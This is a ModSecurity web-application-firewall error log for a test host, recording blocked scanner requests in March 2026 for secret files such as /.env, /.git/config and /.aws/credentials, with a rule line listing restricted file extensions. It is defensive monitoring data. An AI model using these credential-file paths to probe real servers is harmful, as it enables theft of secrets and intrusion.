[Sun Mar 15 10:47:13.549710 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/logs/error.log"] [unique_id "abaAIQNoJq7fnUw0FhGQ2wAAAAQ"]
[Sun Mar 15 10:47:13.549840 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/logs/error.log"] [unique_id "abaAIQNoJq7fnUw0FhGQ2wAAAAQ"]
[Sun Mar 15 10:47:13.617045 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.json"] [unique_id "abaAIQNoJq7fnUw0FhGQ3gAAAAQ"]
[Sun Mar 15 10:47:13.617255 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.json"] [unique_id "abaAIQNoJq7fnUw0FhGQ3gAAAAQ"]
[Sun Mar 15 10:47:13.617382 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.json"] [unique_id "abaAIQNoJq7fnUw0FhGQ3gAAAAQ"]
[Sun Mar 15 10:47:13.639349 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.lock"] [unique_id "abaAIQNoJq7fnUw0FhGQ3wAAAAQ"]
[Sun Mar 15 10:47:13.639547 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.lock"] [unique_id "abaAIQNoJq7fnUw0FhGQ3wAAAAQ"]
[Sun Mar 15 10:47:13.639676 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.lock"] [unique_id "abaAIQNoJq7fnUw0FhGQ3wAAAAQ"]
[Mon Mar 16 03:54:11.354793 2026] [:error] [pid 2728730] [client 34.135.221.10:25422] [client 34.135.221.10] ModSecurity: Rule 7fa7edf98e58 [id "932140"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "419"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abdw07cKOysN26SGnSm1kwAAAAM"], referer: https://forst-trento.test.indacotrentino.com/
[Mon Mar 16 03:54:11.356227 2026] [:error] [pid 2728730] [client 34.135.221.10:25422] [client 34.135.221.10] ModSecurity: Rule 7fa7edc87bf8 [id "933210"][file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "504"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abdw07cKOysN26SGnSm1kwAAAAM"], referer: https://forst-trento.test.indacotrentino.com/
[Mon Mar 16 03:54:11.358055 2026] [:error] [pid 2728730] [client 34.135.221.10:25422] [client 34.135.221.10] ModSecurity: Rule 7fa7ee8b9320 [id "941140"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "179"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abdw07cKOysN26SGnSm1kwAAAAM"], referer: https://forst-trento.test.indacotrentino.com/
[Mon Mar 16 03:54:11.358173 2026] [:error] [pid 2728730] [client 34.135.221.10:25422] [client 34.135.221.10] ModSecurity: Rule 7fa7ee8b0030 [id "941160"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "218"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abdw07cKOysN26SGnSm1kwAAAAM"], referer: https://forst-trento.test.indacotrentino.com/
[Mon Mar 16 03:59:43.280743 2026] [:error] [pid 2728808] [client 34.31.247.93:45602] [client 34.31.247.93] ModSecurity: Rule 7fa7edf98e58 [id "932140"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "419"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abdyH6YkEwv2uaHFop6QXQAAAAc"], referer: https://forst-trento.test.indacotrentino.com/
[Mon Mar 16 03:59:43.282111 2026] [:error] [pid 2728808] [client 34.31.247.93:45602] [client 34.31.247.93] ModSecurity: Rule 7fa7edc87bf8 [id "933210"][file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "504"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abdyH6YkEwv2uaHFop6QXQAAAAc"], referer: https://forst-trento.test.indacotrentino.com/
[Mon Mar 16 03:59:43.283886 2026] [:error] [pid 2728808] [client 34.31.247.93:45602] [client 34.31.247.93] ModSecurity: Rule 7fa7ee8b9320 [id "941140"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "179"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abdyH6YkEwv2uaHFop6QXQAAAAc"], referer: https://forst-trento.test.indacotrentino.com/
[Mon Mar 16 03:59:43.284000 2026] [:error] [pid 2728808] [client 34.31.247.93:45602] [client 34.31.247.93] ModSecurity: Rule 7fa7ee8b0030 [id "941160"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "218"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abdyH6YkEwv2uaHFop6QXQAAAAc"], referer: https://forst-trento.test.indacotrentino.com/
[Tue Mar 17 13:05:47.450120 2026] [:error] [pid 2750639] [client 195.178.110.157:41790] [client 195.178.110.157] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ablDmwQg2iLpEIGtm1VVHQAAAAE"]
[Tue Mar 17 13:05:47.451555 2026] [:error] [pid 2750639] [client 195.178.110.157:41790] [client 195.178.110.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ablDmwQg2iLpEIGtm1VVHQAAAAE"]
[Tue Mar 17 13:05:47.451710 2026] [:error] [pid 2750639] [client 195.178.110.157:41790] [client 195.178.110.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ablDmwQg2iLpEIGtm1VVHQAAAAE"]
[Wed Mar 18 14:43:48.291797 2026] [:error] [pid 2778345] [client 194.180.48.253:46606] [client 194.180.48.253] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abqsFFdw5hIGDZWDxEbWBAAAABw"]
[Wed Mar 18 14:43:48.292073 2026] [:error] [pid 2778345] [client 194.180.48.253:46606] [client 194.180.48.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abqsFFdw5hIGDZWDxEbWBAAAABw"]
[Wed Mar 18 14:43:48.292262 2026] [:error] [pid 2778345] [client 194.180.48.253:46606] [client 194.180.48.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abqsFFdw5hIGDZWDxEbWBAAAABw"]
[Wed Mar 18 18:03:16.485006 2026] [:error] [pid 2778342] [client 204.76.203.25:58414] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abra1DlD5gaup1xeeLOIVwAAABk"]
[Wed Mar 18 18:03:16.485323 2026] [:error] [pid 2778342] [client 204.76.203.25:58414] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abra1DlD5gaup1xeeLOIVwAAABk"]
[Wed Mar 18 18:03:16.485867 2026] [:error] [pid 2778342] [client 204.76.203.25:58414] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abra1DlD5gaup1xeeLOIVwAAABk"]
[Thu Mar 19 02:12:50.754816 2026] [:error] [pid 2790224] [client 195.178.110.241:36780] [client 195.178.110.241] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abtNkmCbKHIUPhH1yBOJAgAAABc"]
[Thu Mar 19 02:12:50.755014 2026] [:error] [pid 2790224] [client 195.178.110.241:36780] [client 195.178.110.241] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abtNkmCbKHIUPhH1yBOJAgAAABc"]
[Thu Mar 19 02:12:50.755129 2026] [:error] [pid 2790224] [client 195.178.110.241:36780] [client 195.178.110.241] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abtNkmCbKHIUPhH1yBOJAgAAABc"]
[Thu Mar 19 15:19:32.576165 2026] [:error] [pid 2804724] [client 36.83.123.156:35141] [client 36.83.123.156] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env/.env.bak"] [unique_id "abwF9E6LuvypkDg_fyomcQAAAAE"]
[Thu Mar 19 15:19:32.576317 2026] [:error] [pid 2804724] [client 36.83.123.156:35141] [client 36.83.123.156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env/.env.bak"] [unique_id "abwF9E6LuvypkDg_fyomcQAAAAE"]
[Thu Mar 19 15:19:32.576495 2026] [:error] [pid 2804724] [client 36.83.123.156:35141] [client 36.83.123.156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env/.env.bak"] [unique_id "abwF9E6LuvypkDg_fyomcQAAAAE"]
[Thu Mar 19 15:19:32.576621 2026] [:error] [pid 2804724] [client 36.83.123.156:35141] [client 36.83.123.156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env/.env.bak"] [unique_id "abwF9E6LuvypkDg_fyomcQAAAAE"]
[Thu Mar 19 15:19:35.654036 2026] [:error] [pid 2796389] [client 36.83.123.156:35553] [client 36.83.123.156] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abwF9yxvpHkAEe90o-aXLwAAABA"]
[Thu Mar 19 15:19:35.654210 2026] [:error] [pid 2796389] [client 36.83.123.156:35553] [client 36.83.123.156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abwF9yxvpHkAEe90o-aXLwAAABA"]
[Thu Mar 19 15:19:35.654363 2026] [:error] [pid 2796389] [client 36.83.123.156:35553] [client 36.83.123.156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abwF9yxvpHkAEe90o-aXLwAAABA"]
[Fri Mar 20 01:14:37.151881 2026] [:error] [pid 2813262] [client 141.98.11.171:50339] [client 141.98.11.171] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abyRbaSg5mXWTZH2R_m-2AAAAAA"]
[Fri Mar 20 01:14:37.152058 2026] [:error] [pid 2813262] [client 141.98.11.171:50339] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abyRbaSg5mXWTZH2R_m-2AAAAAA"]
[Fri Mar 20 01:14:37.152213 2026] [:error] [pid 2813262] [client 141.98.11.171:50339] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abyRbaSg5mXWTZH2R_m-2AAAAAA"]
[Fri Mar 20 01:14:37.188576 2026] [:error] [pid 2813262] [client 141.98.11.171:50339] [client 141.98.11.171] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abyRbaSg5mXWTZH2R_m-2QAAAAA"]
[Fri Mar 20 01:14:37.188732 2026] [:error] [pid 2813262] [client 141.98.11.171:50339] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abyRbaSg5mXWTZH2R_m-2QAAAAA"]
[Fri Mar 20 01:14:37.188868 2026] [:error] [pid 2813262] [client 141.98.11.171:50339] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abyRbaSg5mXWTZH2R_m-2QAAAAA"]
[Fri Mar 20 06:08:09.347834 2026] [:error] [pid 2815710] [client 34.10.160.156:17154] [client 34.10.160.156] ModSecurity: Rule 7f6d4543de58 [id "932140"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "419"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abzWOTQ9Th-2Y9b0JRd1cQAAAAE"], referer: https://forst-trento.test.indacotrentino.com/
[Fri Mar 20 06:08:09.350421 2026] [:error] [pid 2815710] [client 34.10.160.156:17154] [client 34.10.160.156] ModSecurity: Rule 7f6d4512cbf8 [id "933210"][file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "504"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abzWOTQ9Th-2Y9b0JRd1cQAAAAE"], referer: https://forst-trento.test.indacotrentino.com/
